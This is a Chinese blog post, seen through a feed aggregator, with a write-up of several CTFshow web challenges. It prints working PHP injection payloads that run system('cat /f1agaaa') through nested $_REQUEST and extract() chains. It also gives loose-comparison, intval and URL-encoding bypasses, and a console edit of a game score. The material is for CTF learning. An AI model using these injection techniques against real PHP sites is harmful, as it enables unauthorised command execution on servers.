惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Darknet – Hacking Tools, Hacker News & Cyber Security
V
Vulnerabilities – Threatpost
Cloudbric
Cloudbric
G
GRAHAM CLULEY
S
Securelist
Schneier on Security
Schneier on Security
Help Net Security
Help Net Security
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Project Zero
Project Zero
Spread Privacy
Spread Privacy
P
Privacy International News Feed
C
Cyber Attacks, Cyber Crime and Cyber Security
Cisco Talos Blog
Cisco Talos Blog
T
Tailwind CSS Blog
博客园_首页
有赞技术团队
有赞技术团队
Simon Willison's Weblog
Simon Willison's Weblog
Stack Overflow Blog
Stack Overflow Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Latest news
Latest news
T
Tor Project blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Attack and Defense Labs
Attack and Defense Labs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
O
OpenAI News
J
Java Code Geeks
T
Tenable Blog
K
Kaspersky official blog
AWS News Blog
AWS News Blog
S
Security @ Cisco Blogs
The GitHub Blog
The GitHub Blog
T
Threatpost
月光博客
月光博客
H
Heimdal Security Blog
Security Latest
Security Latest
The Hacker News
The Hacker News
Y
Y Combinator Blog
A
Arctic Wolf
Apple Machine Learning Research
Apple Machine Learning Research
C
Cisco Blogs
美团技术团队
Microsoft Security Blog
Microsoft Security Blog
Hugging Face - Blog
Hugging Face - Blog
T
The Blog of Author Tim Ferriss
C
CERT Recently Published Vulnerability Notes
D
Docker
Google Online Security Blog
Google Online Security Blog
D
DataBreaches.Net
V
Visual Studio Blog
H
Help Net Security

龙辉's Blog

对学某通的登录逆向分析 - 龙辉's Blog 天方云签程序开源 - 龙辉's Blog 蓝桥杯省赛Web题解及知识点复习 - 龙辉's Blog 记录一次入侵某钓鱼盗号网站的过程 - 龙辉's Blog 贵州师范大学抢课脚本-正方教务系统V8.0.0 - 龙辉's Blog 简单实现每日健康自动打卡 - 龙辉's Blog 弱类型与强类型语言“=”号的不同以及引发的安全问题 - 龙辉's Blog php获取客户端ip以及ip伪造 - 龙辉's Blog XSS经典漏洞复现-手撕某非法获取个人信息网站 - 龙辉's Blog php7.2中each()函数被弃用的替换办法 - 龙辉's Blog
CTFSHOW-菜狗杯(部分WP) - 龙辉's Blog
博主: Tinker-站长 · 2024-05-21 · via 龙辉's Blog

目录

##1. 签到题
##2. web2 c0me_t0_s1gn
##3. 我的眼里只有$
##4. 一言既出
##5. 驷马难追
##6. 化零为整
##7. 无一幸免
##8. 传说之下(雾)

这是做的部分ctf题题解,仅为方便自己学习记录,欢迎大家交流补充~

0x01 签到题

打开题目,给我们的是源代码,通过阅读代码,这就是一个通过外部构造系统命令执行的一个漏洞,通过这几个函数套娃,最终用eval函数把字符串当作php代码执行。
sign.png
我们根据代码写payload,(注意,中文请先进行url编码)
2.png

    ?b=c&c[6][0][7][3][8][0][9][4][4]=system("ls%20/");
    post:a=b
    cookie:CTFshow-QQ群:=a
    /*
    解释一下,源代码为$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]],
    通过构造之后变成$_REQUEST[[$_GET[$_POST['a']]]->$_REQUEST[[$_GET['b']]->$_REQUEST['c']->system("ls%20/");
    php中$_REQUEST函数支持get和post方法,所以两种都可以
    通过调用linux命令ls /,获取根目录下有哪些文件,发现 f1agaaa,读取这个文件,获得flag
最终payload:
    ?b=c&c[6][0][7][5][8][0][9][6][4]=system("cat /f1agaaa");
    post:a=b
    cookie:CTFshow-QQ群:=a
    */

3.png

0x02 web2 c0me_t0_s1gn

4.png
打开题目,就让我们找找看能不能发现什么,先是右键打开网页源代码后发现部分flag和提示,打开控制台,控制台提示执行这个函数就能获得flag,执行之后成功获得后半部分flag,拼接之后就是完整的flag,又是一道签到题。
5.png
6.png

0x03 我的眼里只有$

7.png
这道题和第一道题有点像,又是一个套娃题。不过这里用了一个extract($_POST),这个函数的作用就是将数组中的索引和值用变量来表示,例如

extract(['a'=>1])
等价于 $a=1

35个$符,a-z都不够用啊,构造这个花了我挺长时间。构造完了才想起来写一个循环完事的事情...
最终的payload:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=ab&ab=cd&cd=ef&ef=fg&fg=hi&hi=jk&jk=lm&lm=no&no=pq&pq=system("cat /f1agaaa");

0x04 一言既出

9.png
通过代码审计,这道题考的就是弱类型语言数值的比较
这里复习一下知识点
<?php
echo '1'==1;//true (在两个等号条件下,字符串1和数字1相等,比较方式是将字符串换成整型后比较)
echo '1abcd'==1;//true (是不是很神奇,在进行字符串隐式转换为整型时遇到非数字{小数点除外}就终止)经过测试,在最新版本的php8返回false
echo '11+1'==11; //true
//intval()函数把数字字符串转成整型数字
intval('678abc")//678
intval('6+7');//13
所以可以通过
构造payload:/?num=114514%2B1919810-114514
注意:只要是特殊字符在url传参都需要通过url编码
另一种思路:就是加注释把后面的代码注释掉,前面部分代码形成闭合,就执行不了die()函数了。
payload:/?num=11451");//

0x05 驷马难追

和上一题差不多,但是多了一个正则验证,但是加号和减号并没有在规则里面。
所以构造

payload:/?num=114514%2B1919810-114514

即可获得flag
10.png

0x06 化零为整

11.png

题目分析:如果输入的是"大牛"就可以输出答案,很明显,要绕过上面的if语句.
在utf-8编码中,一个中文为三个字节,而判断的if语句超过两个字节就不可以,所以把一个中文拆成三个单独的字节就行了
然后使用的是从1开始的for循环进行拼接,因此对中文进行url编码之后使用数字为变量就行

最终构造的payload如下

    /?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
http://ca01914c-5bf6-49d7-a4bc-45fc0a0c702b.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

0x07 无一幸免

12.png

这道题比前面的签到题还简单,首先判断是否存在 0参数,只要能进入if语句就能输出flag了,这个if语句判断的内容是一个赋值语句,所以随便传什么都会返回true
最终payload

?0=0
http://034ee1fe-cc46-4d19-8fdc-91184301f8df.challenge.ctf.show/?0=0

0x08 传说之下(雾)

打开是一个贪吃蛇游戏
13.png

根据这里的提示可知,吃到2077个苹果即可获得flag,当然了,你要是想慢慢玩这个游戏,吃到2077个,也是没问题的。最快的办法就是直接篡改数据。
分析网页源代码,只发现一个js文件,进入js文件分析。该游戏的分数,由Game函数的score属性控制,并且把Game属性挂载到window对象中,所以直接在控制台执行
执行之后开始一下游戏即可输出flag。
Game.score=2088

目前只做了几道题来进行学习和练习,好久没更新文章了,记录一下解题步骤方便自己之后复习。


版权属于:龙辉博客

本文链接:https://blog.eirds.cn/441.html

如果没有特别声明则为本博原创。转载时须注明出处及本声明!

赞赏作者

如果觉得我的文章对你有用,请随意赞赏